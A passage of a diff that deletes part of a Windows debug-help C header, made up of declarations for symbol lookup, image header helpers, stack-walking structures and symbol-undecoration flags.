-(CALLBACK *PFINDFILEINPATHCALLBACK)(
- __in PCSTR filename,
- __in PVOID context
- );
-
-BOOL
-IMAGEAPI
-SymFindFileInPath(
- __in HANDLE hprocess,
- __in_opt PCSTR SearchPath,
- __in PCSTR FileName,
- __in_opt PVOID id,
- __in DWORD two,
- __in DWORD three,
- __in DWORD flags,
- __out_ecount(MAX_PATH + 1) PSTR FoundFile,
- __in_opt PFINDFILEINPATHCALLBACK callback,
- __in_opt PVOID context
- );
-
-typedef BOOL
-(CALLBACK *PFINDFILEINPATHCALLBACKW)(
- __in PCWSTR filename,
- __in PVOID context
- );
-
-BOOL
-IMAGEAPI
-SymFindFileInPathW(
- __in HANDLE hprocess,
- __in_opt PCWSTR SearchPath,
- __in PCWSTR FileName,
- __in_opt PVOID id,
- __in DWORD two,
- __in DWORD three,
- __in DWORD flags,
- __out_ecount(MAX_PATH + 1) PWSTR FoundFile,
- __in_opt PFINDFILEINPATHCALLBACKW callback,
- __in_opt PVOID context
- );
-
-typedef BOOL
-(CALLBACK *PFIND_EXE_FILE_CALLBACK)(
- __in HANDLE FileHandle,
- __in PCSTR FileName,
- __in_opt PVOID CallerData
- );
-
-HANDLE
-IMAGEAPI
-SymFindExecutableImage(
- __in HANDLE hProcess,
- __in PCSTR FileName,
- __out_ecount(MAX_PATH + 1) PSTR ImageFilePath,
- __in PFIND_EXE_FILE_CALLBACK Callback,
- __in PVOID CallerData
- );
-
-typedef BOOL
-(CALLBACK *PFIND_EXE_FILE_CALLBACKW)(
- __in HANDLE FileHandle,
- __in PCWSTR FileName,
- __in_opt PVOID CallerData
- );
-
-HANDLE
-IMAGEAPI
-SymFindExecutableImageW(
- __in HANDLE hProcess,
- __in PCWSTR FileName,
- __out_ecount(MAX_PATH + 1) PWSTR ImageFilePath,
- __in PFIND_EXE_FILE_CALLBACKW Callback,
- __in PVOID CallerData
- );
-
-HANDLE
-IMAGEAPI
-FindExecutableImage(
- __in PCSTR FileName,
- __in PCSTR SymbolPath,
- __out_ecount(MAX_PATH + 1) PSTR ImageFilePath
- );
-
-HANDLE
-IMAGEAPI
-FindExecutableImageEx(
- __in PCSTR FileName,
- __in PCSTR SymbolPath,
- __out_ecount(MAX_PATH + 1) PSTR ImageFilePath,
- __in_opt PFIND_EXE_FILE_CALLBACK Callback,
- __in_opt PVOID CallerData
- );
-
-HANDLE
-IMAGEAPI
-FindExecutableImageExW(
- __in PCWSTR FileName,
- __in PCWSTR SymbolPath,
- __out_ecount(MAX_PATH + 1) PWSTR ImageFilePath,
- __in_opt PFIND_EXE_FILE_CALLBACKW Callback,
- __in PVOID CallerData
- );
-
-PIMAGE_NT_HEADERS
-IMAGEAPI
-ImageNtHeader (
- __in PVOID Base
- );
-
-PVOID
-IMAGEAPI
-ImageDirectoryEntryToDataEx (
- __in PVOID Base,
- __in BOOLEAN MappedAsImage,
- __in USHORT DirectoryEntry,
- __out PULONG Size,
- __out_opt PIMAGE_SECTION_HEADER *FoundHeader
- );
-
-PVOID
-IMAGEAPI
-ImageDirectoryEntryToData (
- __in PVOID Base,
- __in BOOLEAN MappedAsImage,
- __in USHORT DirectoryEntry,
- __out PULONG Size
- );
-
-PIMAGE_SECTION_HEADER
-IMAGEAPI
-ImageRvaToSection(
- __in PIMAGE_NT_HEADERS NtHeaders,
- __in PVOID Base,
- __in ULONG Rva
- );
-
-PVOID
-IMAGEAPI
-ImageRvaToVa(
- __in PIMAGE_NT_HEADERS NtHeaders,
- __in PVOID Base,
- __in ULONG Rva,
- __in_opt OUT PIMAGE_SECTION_HEADER *LastRvaSection
- );
-
-#ifndef _WIN64
-// This api won't be ported to Win64 - Fix your code.
-
-typedef struct _IMAGE_DEBUG_INFORMATION {
- LIST_ENTRY List;
- DWORD ReservedSize;
- PVOID ReservedMappedBase;
- USHORT ReservedMachine;
- USHORT ReservedCharacteristics;
- DWORD ReservedCheckSum;
- DWORD ImageBase;
- DWORD SizeOfImage;
-
- DWORD ReservedNumberOfSections;
- PIMAGE_SECTION_HEADER ReservedSections;
-
- DWORD ReservedExportedNamesSize;
- PSTR ReservedExportedNames;
-
- DWORD ReservedNumberOfFunctionTableEntries;
- PIMAGE_FUNCTION_ENTRY ReservedFunctionTableEntries;
- DWORD ReservedLowestFunctionStartingAddress;
- DWORD ReservedHighestFunctionEndingAddress;
-
- DWORD ReservedNumberOfFpoTableEntries;
- PFPO_DATA ReservedFpoTableEntries;
-
- DWORD SizeOfCoffSymbols;
- PIMAGE_COFF_SYMBOLS_HEADER CoffSymbols;
-
- DWORD ReservedSizeOfCodeViewSymbols;
- PVOID ReservedCodeViewSymbols;
-
- PSTR ImageFilePath;
- PSTR ImageFileName;
- PSTR ReservedDebugFilePath;
-
- DWORD ReservedTimeDateStamp;
-
- BOOL ReservedRomImage;
- PIMAGE_DEBUG_DIRECTORY ReservedDebugDirectory;
- DWORD ReservedNumberOfDebugDirectories;
-
- DWORD ReservedOriginalFunctionTableBaseAddress;
-
- DWORD Reserved[ 2 ];
-
-} IMAGE_DEBUG_INFORMATION, *PIMAGE_DEBUG_INFORMATION;
-
-
-PIMAGE_DEBUG_INFORMATION
-IMAGEAPI
-MapDebugInformation(
- __in_opt HANDLE FileHandle,
- __in PCSTR FileName,
- __in_opt PCSTR SymbolPath,
- __in ULONG ImageBase
- );
-
-BOOL
-IMAGEAPI
-UnmapDebugInformation(
- __out_xcount(unknown) PIMAGE_DEBUG_INFORMATION DebugInfo
- );
-
-#endif
-
-BOOL
-IMAGEAPI
-SearchTreeForFile(
- __in PCSTR RootPath,
- __in PCSTR InputPathName,
- __out_ecount(MAX_PATH + 1) PSTR OutputPathBuffer
- );
-
-BOOL
-IMAGEAPI
-SearchTreeForFileW(
- __in PCWSTR RootPath,
- __in PCWSTR InputPathName,
- __out_ecount(MAX_PATH + 1) PWSTR OutputPathBuffer
- );
-
-typedef BOOL
-(CALLBACK *PENUMDIRTREE_CALLBACK)(
- __in PCSTR FilePath,
- __in_opt PVOID CallerData
- );
-
-BOOL
-IMAGEAPI
-EnumDirTree(
- __in_opt HANDLE hProcess,
- __in PCSTR RootPath,
- __in PCSTR InputPathName,
- __out_ecount_opt(MAX_PATH + 1) PSTR OutputPathBuffer,
- __in_opt PENUMDIRTREE_CALLBACK cb,
- __in_opt PVOID data
- );
-
-typedef BOOL
-(CALLBACK *PENUMDIRTREE_CALLBACKW)(
- __in PCWSTR FilePath,
- __in_opt PVOID CallerData
- );
-
-BOOL
-IMAGEAPI
-EnumDirTreeW(
- __in_opt HANDLE hProcess,
- __in PCWSTR RootPath,
- __in PCWSTR InputPathName,
- __out_ecount_opt(MAX_PATH + 1) PWSTR OutputPathBuffer,
- __in_opt PENUMDIRTREE_CALLBACKW cb,
- __in_opt PVOID data
- );
-
-BOOL
-IMAGEAPI
-MakeSureDirectoryPathExists(
- __in PCSTR DirPath
- );
-
-//
-// UnDecorateSymbolName Flags
-//
-
-#define UNDNAME_COMPLETE (0x0000) // Enable full undecoration
-#define UNDNAME_NO_LEADING_UNDERSCORES (0x0001) // Remove leading underscores from MS extended keywords
-#define UNDNAME_NO_MS_KEYWORDS (0x0002) // Disable expansion of MS extended keywords
-#define UNDNAME_NO_FUNCTION_RETURNS (0x0004) // Disable expansion of return type for primary declaration
-#define UNDNAME_NO_ALLOCATION_MODEL (0x0008) // Disable expansion of the declaration model
-#define UNDNAME_NO_ALLOCATION_LANGUAGE (0x0010) // Disable expansion of the declaration language specifier
-#define UNDNAME_NO_MS_THISTYPE (0x0020) // NYI Disable expansion of MS keywords on the 'this' type for primary declaration
-#define UNDNAME_NO_CV_THISTYPE (0x0040) // NYI Disable expansion of CV modifiers on the 'this' type for primary declaration
-#define UNDNAME_NO_THISTYPE (0x0060) // Disable all modifiers on the 'this' type
-#define UNDNAME_NO_ACCESS_SPECIFIERS (0x0080) // Disable expansion of access specifiers for members
-#define UNDNAME_NO_THROW_SIGNATURES (0x0100) // Disable expansion of 'throw-signatures' for functions and pointers to functions
-#define UNDNAME_NO_MEMBER_TYPE (0x0200) // Disable expansion of 'static' or 'virtual'ness of members
-#define UNDNAME_NO_RETURN_UDT_MODEL (0x0400) // Disable expansion of MS model for UDT returns
-#define UNDNAME_32_BIT_DECODE (0x0800) // Undecorate 32-bit decorated names
-#define UNDNAME_NAME_ONLY (0x1000) // Crack only the name for primary declaration;
- // return just [scope::]name. Does expand template params
-#define UNDNAME_NO_ARGUMENTS (0x2000) // Don't undecorate arguments to function
-#define UNDNAME_NO_SPECIAL_SYMS (0x4000) // Don't undecorate special names (v-table, vcall, vector xxx, metatype, etc)
-
-DWORD
-IMAGEAPI
-WINAPI
-UnDecorateSymbolName(
- __in PCSTR name,
- __out_ecount(maxStringLength) PSTR outputString,
- __in DWORD maxStringLength,
- __in DWORD flags
- );
-
-DWORD
-IMAGEAPI
-WINAPI
-UnDecorateSymbolNameW(
- __in PCWSTR name,
- __out_ecount(maxStringLength) PWSTR outputString,
- __in DWORD maxStringLength,
- __in DWORD flags
- );
-
-//
-// these values are used for synthesized file types
-// that can be passed in as image headers instead of
-// the standard ones from ntimage.h
-//
-
-#define DBHHEADER_DEBUGDIRS 0x1
-#define DBHHEADER_CVMISC 0x2
-#define DBHHEADER_PDBGUID 0x3
-typedef struct _MODLOAD_DATA {
- DWORD ssize; // size of this struct
- DWORD ssig; // signature identifying the passed data
- PVOID data; // pointer to passed data
- DWORD size; // size of passed data
- DWORD flags; // options
-} MODLOAD_DATA, *PMODLOAD_DATA;
-
-typedef struct _MODLOAD_CVMISC {
- DWORD oCV; // ofset to the codeview record
- size_t cCV; // size of the codeview record
- DWORD oMisc; // offset to the misc record
- size_t cMisc; // size of the misc record
- DWORD dtImage; // datetime stamp of the image
- DWORD cImage; // size of the image
-} MODLOAD_CVMISC, *PMODLOAD_CVMISC;
-
-typedef struct _MODLOAD_PDBGUID_PDBAGE {
- GUID PdbGuid; // Pdb Guid
- DWORD PdbAge; // Pdb Age
-} MODLOAD_PDBGUID_PDBAGE, *PMODLOAD_PDBGUID_PDBAGE;
-
-//
-// StackWalking API
-//
-
-typedef enum {
- AddrMode1616,
- AddrMode1632,
- AddrModeReal,
- AddrModeFlat
-} ADDRESS_MODE;
-
-typedef struct _tagADDRESS64 {
- DWORD64 Offset;
- WORD Segment;
- ADDRESS_MODE Mode;
-} ADDRESS64, *LPADDRESS64;
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define ADDRESS ADDRESS64
-#define LPADDRESS LPADDRESS64
-#else
-typedef struct _tagADDRESS {
- DWORD Offset;
- WORD Segment;
- ADDRESS_MODE Mode;
-} ADDRESS, *LPADDRESS;
-
-__inline
-void
-Address32To64(
- __in LPADDRESS a32,
- __out LPADDRESS64 a64
- )
-{
- a64->Offset = (ULONG64)(LONG64)(LONG)a32->Offset;
- a64->Segment = a32->Segment;
- a64->Mode = a32->Mode;
-}
-
-__inline
-void
-Address64To32(
- __in LPADDRESS64 a64,
- __out LPADDRESS a32
- )
-{
- a32->Offset = (ULONG)a64->Offset;
- a32->Segment = a64->Segment;
- a32->Mode = a64->Mode;
-}
-#endif
-
-//
-// This structure is included in the STACKFRAME structure,
-// and is used to trace through usermode callbacks in a thread's
-// kernel stack. The values must be copied by the kernel debugger
-// from the DBGKD_GET_VERSION and WAIT_STATE_CHANGE packets.
-//
-
-//
-// New KDHELP structure for 64 bit system support.
-// This structure is preferred in new code.
-//
-typedef struct _KDHELP64 {
-
- //
- // address of kernel thread object, as provided in the
- // WAIT_STATE_CHANGE packet.
- //
- DWORD64 Thread;
-
- //
- // offset in thread object to pointer to the current callback frame
- // in kernel stack.
- //
- DWORD ThCallbackStack;
-
- //
- // offset in thread object to pointer to the current callback backing
- // store frame in kernel stack.
- //
- DWORD ThCallbackBStore;
-
- //
- // offsets to values in frame:
- //
- // address of next callback frame
- DWORD NextCallback;
-
- // address of saved frame pointer (if applicable)
- DWORD FramePointer;
-
-
- //
- // Address of the kernel function that calls out to user mode
- //
- DWORD64 KiCallUserMode;
-
- //
- // Address of the user mode dispatcher function
- //
- DWORD64 KeUserCallbackDispatcher;
-
- //
- // Lowest kernel mode address
- //
- DWORD64 SystemRangeStart;
-
- //
- // Address of the user mode exception dispatcher function.
- // Added in API version 10.
- //
- DWORD64 KiUserExceptionDispatcher;
-
- //
- // Stack bounds, added in API version 11.
- //
- DWORD64 StackBase;
- DWORD64 StackLimit;
-
- DWORD64 Reserved[5];
-
-} KDHELP64, *PKDHELP64;
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define KDHELP KDHELP64
-#define PKDHELP PKDHELP64
-#else
-typedef struct _KDHELP {
-
- //
- // address of kernel thread object, as provided in the
- // WAIT_STATE_CHANGE packet.
- //
- DWORD Thread;
-
- //
- // offset in thread object to pointer to the current callback frame
- // in kernel stack.
- //
- DWORD ThCallbackStack;
-
- //
- // offsets to values in frame:
- //
- // address of next callback frame
- DWORD NextCallback;
-
- // address of saved frame pointer (if applicable)
- DWORD FramePointer;
-
- //
- // Address of the kernel function that calls out to user mode
- //
- DWORD KiCallUserMode;
-
- //
- // Address of the user mode dispatcher function
- //
- DWORD KeUserCallbackDispatcher;
-
- //
- // Lowest kernel mode address
- //
- DWORD SystemRangeStart;
-
- //
- // offset in thread object to pointer to the current callback backing
- // store frame in kernel stack.
- //
- DWORD ThCallbackBStore;
-
- //
- // Address of the user mode exception dispatcher function.
- // Added in API version 10.
- //
- DWORD KiUserExceptionDispatcher;
-
- //
- // Stack bounds, added in API version 11.
- //
- DWORD StackBase;
- DWORD StackLimit;
-
- DWORD Reserved[5];
-
-} KDHELP, *PKDHELP;
-
-__inline
-void
-KdHelp32To64(
- __in PKDHELP p32,
- __out PKDHELP64 p64
- )
-{
- p64->Thread = p32->Thread;
- p64->ThCallbackStack = p32->ThCallbackStack;
- p64->NextCallback = p32->NextCallback;
- p64->FramePointer = p32->FramePointer;
- p64->KiCallUserMode = p32->KiCallUserMode;
- p64->KeUserCallbackDispatcher = p32->KeUserCallbackDispatcher;
- p64->SystemRangeStart = p32->SystemRangeStart;
- p64->KiUserExceptionDispatcher = p32->KiUserExceptionDispatcher;
- p64->StackBase = p32->StackBase;
- p64->StackLimit = p32->StackLimit;
-}
-#endif
-
-typedef struct _tagSTACKFRAME64 {
- ADDRESS64 AddrPC; // program counter
- ADDRESS64 AddrReturn; // return address
- ADDRESS64 AddrFrame; // frame pointer
- ADDRESS64 AddrStack; // stack pointer
- ADDRESS64 AddrBStore; // backing store pointer
- PVOID FuncTableEntry; // pointer to pdata/fpo or NULL
- DWORD64 Params[4]; // possible arguments to the function
- BOOL Far; // WOW far call
- BOOL Virtual; // is this a virtual frame?
- DWORD64 Reserved[3];
- KDHELP64 KdHelp;
-} STACKFRAME64, *LPSTACKFRAME64;
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define STACKFRAME STACKFRAME64
-#define LPSTACKFRAME LPSTACKFRAME64
-#else
-typedef struct _tagSTACKFRAME {
- ADDRESS AddrPC; // program counter
- ADDRESS AddrReturn; // return address
- ADDRESS AddrFrame; // frame pointer
- ADDRESS AddrStack; // stack pointer
- PVOID FuncTableEntry; // pointer to pdata/fpo or NULL
- DWORD Params[4]; // possible arguments to the function
- BOOL Far; // WOW far call
- BOOL Virtual; // is this a virtual frame?
- DWORD Reserved[3];
- KDHELP KdHelp;
- ADDRESS AddrBStore; // backing store pointer
-} STACKFRAME, *LPSTACKFRAME;
-#endif
-
-
-typedef
-BOOL
-(__stdcall *PREAD_PROCESS_MEMORY_ROUTINE64)(
- __in HANDLE hProcess,
- __in DWORD64 qwBaseAddress,
- __out_bcount(nSize) PVOID lpBuffer,
- __in DWORD nSize,
- __out LPDWORD lpNumberOfBytesRead
- );
-
-typedef
-PVOID
-(__stdcall *PFUNCTION_TABLE_ACCESS_ROUTINE64)(
- __in HANDLE ahProcess,
- __in DWORD64 AddrBase
- );
-
-typedef
-DWORD64
-(__stdcall *PGET_MODULE_BASE_ROUTINE64)(
- __in HANDLE hProcess,
- __in DWORD64 Address
- );
-
-typedef
-DWORD64
-(__stdcall *PTRANSLATE_ADDRESS_ROUTINE64)(
- __in HANDLE hProcess,
- __in HANDLE hThread,
- __in LPADDRESS64 lpaddr
- );
-
-BOOL
-IMAGEAPI
-StackWalk64(
- __in DWORD MachineType,
- __in HANDLE hProcess,
- __in HANDLE hThread,
- __inout LPSTACKFRAME64 StackFrame,
- __inout PVOID ContextRecord,
- __in_opt PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine,
- __in_opt PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine,
- __in_opt PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine,
- __in_opt PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-
-#define PREAD_PROCESS_MEMORY_ROUTINE PREAD_PROCESS_MEMORY_ROUTINE64
-#define PFUNCTION_TABLE_ACCESS_ROUTINE PFUNCTION_TABLE_ACCESS_ROUTINE64
-#define PGET_MODULE_BASE_ROUTINE PGET_MODULE_BASE_ROUTINE64
-#define PTRANSLATE_ADDRESS_ROUTINE PTRANSLATE_ADDRESS_ROUTINE64
-
-#define StackWalk StackWalk64
-
-#else
-
-typedef
-BOOL
-(__stdcall *PREAD_PROCESS_MEMORY_ROUTINE)(
- __in HANDLE hProcess,
- __in DWORD lpBaseAddress,
- __out_bcount(nSize) PVOID lpBuffer,
- __in DWORD nSize,
- __out PDWORD lpNumberOfBytesRead
- );
-
-typedef
-PVOID
-(__stdcall *PFUNCTION_TABLE_ACCESS_ROUTINE)(
- __in HANDLE hProcess,
- __in DWORD AddrBase
- );
-
-typedef
-DWORD
-(__stdcall *PGET_MODULE_BASE_ROUTINE)(
- __in HANDLE hProcess,
- __in DWORD Address
- );
-
-typedef
-DWORD
-(__stdcall *PTRANSLATE_ADDRESS_ROUTINE)(
- __in HANDLE hProcess,
- __in HANDLE hThread,
- __out LPADDRESS lpaddr
- );
-
-BOOL
-IMAGEAPI
-StackWalk(
- DWORD MachineType,
- __in HANDLE hProcess,
- __in HANDLE hThread,
- __inout LPSTACKFRAME StackFrame,
- __inout PVOID ContextRecord,
- __in_opt PREAD_PROCESS_MEMORY_ROUTINE ReadMemoryRoutine,
- __in_opt PFUNCTION_TABLE_ACCESS_ROUTINE FunctionTableAccessRoutine,
- __in_opt PGET_MODULE_BASE_ROUTINE GetModuleBaseRoutine,
- __in_opt PTRANSLATE_ADDRESS_ROUTINE TranslateAddress
- );
-
-#endif
-
-
-#define API_VERSION_NUMBER 11
-
-typedef struct API_VERSION {
- USHORT MajorVersion;
- USHORT MinorVersion;
- USHORT Revision;
- USHORT Reserved;
-} API_VERSION, *LPAPI_VERSION;
-
-LPAPI_VERSION
-IMAGEAPI
-ImagehlpApiVersion(
- VOID
- );
-
-LPAPI_VERSION
-IMAGEAPI
-ImagehlpApiVersionEx(
- __in LPAPI_VERSION AppVersion
- );
-
-DWORD
-IMAGEAPI
-GetTimestampForLoadedLibrary(
- __in HMODULE Module
- );
-
-//
-// typedefs for function pointers
-//
-typedef BOOL
-(CALLBACK *PSYM_ENUMMODULES_CALLBACK64)(
- __in PCSTR ModuleName,
- __in DWORD64 BaseOfDll,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMMODULES_CALLBACKW64)(
- __in PCWSTR ModuleName,
- __in DWORD64 BaseOfDll,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PENUMLOADED_MODULES_CALLBACK64)(
- __in PCSTR ModuleName,
- __in DWORD64 ModuleBase,
- __in ULONG ModuleSize,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PENUMLOADED_MODULES_CALLBACKW64)(
- __in PCWSTR ModuleName,
- __in DWORD64 ModuleBase,
- __in ULONG ModuleSize,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK64)(
- __in PCSTR SymbolName,
- __in DWORD64 SymbolAddress,
- __in ULONG SymbolSize,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK64W)(
- __in PCWSTR SymbolName,
- __in DWORD64 SymbolAddress,
- __in ULONG SymbolSize,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYMBOL_REGISTERED_CALLBACK64)(
- __in HANDLE hProcess,
- __in ULONG ActionCode,
- __in_opt ULONG64 CallbackData,
- __in_opt ULONG64 UserContext
- );
-
-typedef
-PVOID
-(CALLBACK *PSYMBOL_FUNCENTRY_CALLBACK)(
- __in HANDLE hProcess,
- __in DWORD AddrBase,
- __in_opt PVOID UserContext
- );
-
-typedef
-PVOID
-(CALLBACK *PSYMBOL_FUNCENTRY_CALLBACK64)(
- __in HANDLE hProcess,
- __in ULONG64 AddrBase,
- __in ULONG64 UserContext
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-
-#define PSYM_ENUMMODULES_CALLBACK PSYM_ENUMMODULES_CALLBACK64
-#define PSYM_ENUMSYMBOLS_CALLBACK PSYM_ENUMSYMBOLS_CALLBACK64
-#define PSYM_ENUMSYMBOLS_CALLBACKW PSYM_ENUMSYMBOLS_CALLBACK64W
-#define PENUMLOADED_MODULES_CALLBACK PENUMLOADED_MODULES_CALLBACK64
-#define PSYMBOL_REGISTERED_CALLBACK PSYMBOL_REGISTERED_CALLBACK64
-#define PSYMBOL_FUNCENTRY_CALLBACK PSYMBOL_FUNCENTRY_CALLBACK64
-
-#else
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMMODULES_CALLBACK)(
- __in PCSTR ModuleName,
- __in ULONG BaseOfDll,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACK)(
- __in PCSTR SymbolName,
- __in ULONG SymbolAddress,
- __in ULONG SymbolSize,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMSYMBOLS_CALLBACKW)(
- __in PCWSTR SymbolName,
- __in ULONG SymbolAddress,
- __in ULONG SymbolSize,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PENUMLOADED_MODULES_CALLBACK)(
- __in PCSTR ModuleName,
- __in ULONG ModuleBase,
- __in ULONG ModuleSize,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYMBOL_REGISTERED_CALLBACK)(
- __in HANDLE hProcess,
- __in ULONG ActionCode,
- __in_opt PVOID CallbackData,
- __in_opt PVOID UserContext
- );
-
-#endif
-
-
-// values found in SYMBOL_INFO.Tag
-//
-// This was taken from cvconst.h and should
-// not override any values found there.
-//
-// #define _NO_CVCONST_H_ if you don't
-// have access to that file...
-
-#ifdef _NO_CVCONST_H
-
-// DIA enums
-
-enum SymTagEnum
-{
- SymTagNull,
- SymTagExe,
- SymTagCompiland,
- SymTagCompilandDetails,
- SymTagCompilandEnv,
- SymTagFunction,
- SymTagBlock,
- SymTagData,
- SymTagAnnotation,
- SymTagLabel,
- SymTagPublicSymbol,
- SymTagUDT,
- SymTagEnum,
- SymTagFunctionType,
- SymTagPointerType,
- SymTagArrayType,
- SymTagBaseType,
- SymTagTypedef,
- SymTagBaseClass,
- SymTagFriend,
- SymTagFunctionArgType,
- SymTagFuncDebugStart,
- SymTagFuncDebugEnd,
- SymTagUsingNamespace,
- SymTagVTableShape,
- SymTagVTable,
- SymTagCustom,
- SymTagThunk,
- SymTagCustomType,
- SymTagManagedType,
- SymTagDimension,
- SymTagMax
-};
-
-#endif
-
-//
-// flags found in SYMBOL_INFO.Flags
-//
-
-#define SYMFLAG_VALUEPRESENT 0x00000001
-#define SYMFLAG_REGISTER 0x00000008
-#define SYMFLAG_REGREL 0x00000010
-#define SYMFLAG_FRAMEREL 0x00000020
-#define SYMFLAG_PARAMETER 0x00000040
-#define SYMFLAG_LOCAL 0x00000080
-#define SYMFLAG_CONSTANT 0x00000100
-#define SYMFLAG_EXPORT 0x00000200
-#define SYMFLAG_FORWARDER 0x00000400
-#define SYMFLAG_FUNCTION 0x00000800
-#define SYMFLAG_VIRTUAL 0x00001000
-#define SYMFLAG_THUNK 0x00002000
-#define SYMFLAG_TLSREL 0x00004000
-#define SYMFLAG_SLOT 0x00008000
-#define SYMFLAG_ILREL 0x00010000
-#define SYMFLAG_METADATA 0x00020000
-#define SYMFLAG_CLR_TOKEN 0x00040000
-
-// this resets SymNext/Prev to the beginning
-// of the module passed in the address field
-
-#define SYMFLAG_RESET 0x80000000
-
-//
-// symbol type enumeration
-//
-typedef enum {
- SymNone = 0,
- SymCoff,
- SymCv,
- SymPdb,
- SymExport,
- SymDeferred,
- SymSym, // .sym file
- SymDia,
- SymVirtual,
- NumSymTypes
-} SYM_TYPE;
-
-//
-// symbol data structure
-//
-
-typedef struct _IMAGEHLP_SYMBOL64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOL64)
- DWORD64 Address; // virtual address including dll base address
- DWORD Size; // estimated size of symbol, can be zero
- DWORD Flags; // info about the symbols, see the SYMF defines
- DWORD MaxNameLength; // maximum size of symbol name in 'Name'
- CHAR Name[1]; // symbol name (null terminated string)
-} IMAGEHLP_SYMBOL64, *PIMAGEHLP_SYMBOL64;
-
-typedef struct _IMAGEHLP_SYMBOL64_PACKAGE {
- IMAGEHLP_SYMBOL64 sym;
- CHAR name[MAX_SYM_NAME + 1];
-} IMAGEHLP_SYMBOL64_PACKAGE, *PIMAGEHLP_SYMBOL64_PACKAGE;
-
-typedef struct _IMAGEHLP_SYMBOLW64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOLW64)
- DWORD64 Address; // virtual address including dll base address
- DWORD Size; // estimated size of symbol, can be zero
- DWORD Flags; // info about the symbols, see the SYMF defines
- DWORD MaxNameLength; // maximum size of symbol name in 'Name'
- WCHAR Name[1]; // symbol name (null terminated string)
-} IMAGEHLP_SYMBOLW64, *PIMAGEHLP_SYMBOLW64;
-
-typedef struct _IMAGEHLP_SYMBOLW64_PACKAGE {
- IMAGEHLP_SYMBOLW64 sym;
- WCHAR name[MAX_SYM_NAME + 1];
-} IMAGEHLP_SYMBOLW64_PACKAGE, *PIMAGEHLP_SYMBOLW64_PACKAGE;
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-
- #define IMAGEHLP_SYMBOL IMAGEHLP_SYMBOL64
- #define PIMAGEHLP_SYMBOL PIMAGEHLP_SYMBOL64
- #define IMAGEHLP_SYMBOL_PACKAGE IMAGEHLP_SYMBOL64_PACKAGE
- #define PIMAGEHLP_SYMBOL_PACKAGE PIMAGEHLP_SYMBOL64_PACKAGE
- #define IMAGEHLP_SYMBOLW IMAGEHLP_SYMBOLW64
- #define PIMAGEHLP_SYMBOLW PIMAGEHLP_SYMBOLW64
- #define IMAGEHLP_SYMBOLW_PACKAGE IMAGEHLP_SYMBOLW64_PACKAGE
- #define PIMAGEHLP_SYMBOLW_PACKAGE PIMAGEHLP_SYMBOLW64_PACKAGE
-
-#else
-
- typedef struct _IMAGEHLP_SYMBOL {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOL)
- DWORD Address; // virtual address including dll base address
- DWORD Size; // estimated size of symbol, can be zero
- DWORD Flags; // info about the symbols, see the SYMF defines
- DWORD MaxNameLength; // maximum size of symbol name in 'Name'
- CHAR Name[1]; // symbol name (null terminated string)
- } IMAGEHLP_SYMBOL, *PIMAGEHLP_SYMBOL;
-
- typedef struct _IMAGEHLP_SYMBOL_PACKAGE {
- IMAGEHLP_SYMBOL sym;
- CHAR name[MAX_SYM_NAME + 1];
- } IMAGEHLP_SYMBOL_PACKAGE, *PIMAGEHLP_SYMBOL_PACKAGE;
-
- typedef struct _IMAGEHLP_SYMBOLW {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_SYMBOLW)
- DWORD Address; // virtual address including dll base address
- DWORD Size; // estimated size of symbol, can be zero
- DWORD Flags; // info about the symbols, see the SYMF defines
- DWORD MaxNameLength; // maximum size of symbol name in 'Name'
- WCHAR Name[1]; // symbol name (null terminated string)
- } IMAGEHLP_SYMBOLW, *PIMAGEHLP_SYMBOLW;
-
- typedef struct _IMAGEHLP_SYMBOLW_PACKAGE {
- IMAGEHLP_SYMBOLW sym;
- WCHAR name[MAX_SYM_NAME + 1];
- } IMAGEHLP_SYMBOLW_PACKAGE, *PIMAGEHLP_SYMBOLW_PACKAGE;
-
-#endif
-
-//
-// module data structure
-//
-
-typedef struct _IMAGEHLP_MODULE64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE64)
- DWORD64 BaseOfImage; // base load address of module
- DWORD ImageSize; // virtual size of the loaded module
- DWORD TimeDateStamp; // date/time stamp from pe header
- DWORD CheckSum; // checksum from the pe header
- DWORD NumSyms; // number of symbols in the symbol table
- SYM_TYPE SymType; // type of symbols loaded
- CHAR ModuleName[32]; // module name
- CHAR ImageName[256]; // image name
- CHAR LoadedImageName[256]; // symbol file name
- // new elements: 07-Jun-2002
- CHAR LoadedPdbName[256]; // pdb file name
- DWORD CVSig; // Signature of the CV record in the debug directories
- CHAR CVData[MAX_PATH * 3]; // Contents of the CV record
- DWORD PdbSig; // Signature of PDB
- GUID PdbSig70; // Signature of PDB (VC 7 and up)
- DWORD PdbAge; // DBI age of pdb
- BOOL PdbUnmatched; // loaded an unmatched pdb
